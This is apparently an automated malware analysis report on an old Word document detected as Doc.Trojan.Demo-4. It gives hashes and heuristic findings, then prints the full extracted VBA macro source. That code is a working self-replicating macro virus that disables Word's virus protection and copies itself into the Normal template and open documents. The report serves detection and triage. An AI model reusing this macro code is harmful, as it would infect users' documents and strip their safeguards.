Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0679da0ba1d5171e…

MALICIOUS

Office (OLE)

52.5 KB Created: 2009-07-15 06:19:00 Authoring application: Microsoft Word 8.0 First seen: 2014-02-16
MD5: 65b890002fd64ade9d152b21d9a1a899 SHA-1: 71a382c60a5254295675c90f38eaaeb03894fd11 SHA-256: 0679da0ba1d5171e17e56a77aaad9b382b7992a03019ef05cb9230efebcfb6df
228 Risk Score

Heuristics 5

  • ClamAV: Doc.Trojan.Demo-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Demo-4
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False ' отключение встроенной макрозащиты
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1283 bytes
SHA-256: 8bda488b8505bfbfdb9c4effc3936a95d2128eab56119d828a3acd857e9e9ab5
Detection
ClamAV: Doc.Trojan.Demo-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Demo"
Sub AutoOpen()
    On Error Resume Next ' Отключение всех ошибок
    Options.VirusProtection = False ' отключение встроенной макрозащиты
    For i = 1 To NormalTemplate.VBProject.VBComponents.Count
        If NormalTemplate.VBProject.VBComponents(i).Name = "Demo" Then Infected = True
    Next i
    If Infected <> True Then
        ActiveDocument.VBProject.VBComponents("Demo").Export "C:\sys.sys"
        NormalTemplate.VBProject.VBComponents.Import "C:\sys.sys"
        Kill "C:\sys.sys"
    End If
    Infected = False
    For i = 1 To ActiveDocument.VBProject.VBComponents.Count
        If ActiveDocument.VBProject.VBComponents(i).Name = "Demo" Then Infected = True
    Next i
    If Infected <> True Then
        NormalTemplate.VBProject.VBComponents("Demo").Export "C:\sys.sys"
        ActiveDocument.VBProject.VBComponents.Import "C:\sys.sys"
        Kill "C:\sys.sys"
    End If
End Sub
Sub AutoNew()
    AutoOpen
End Sub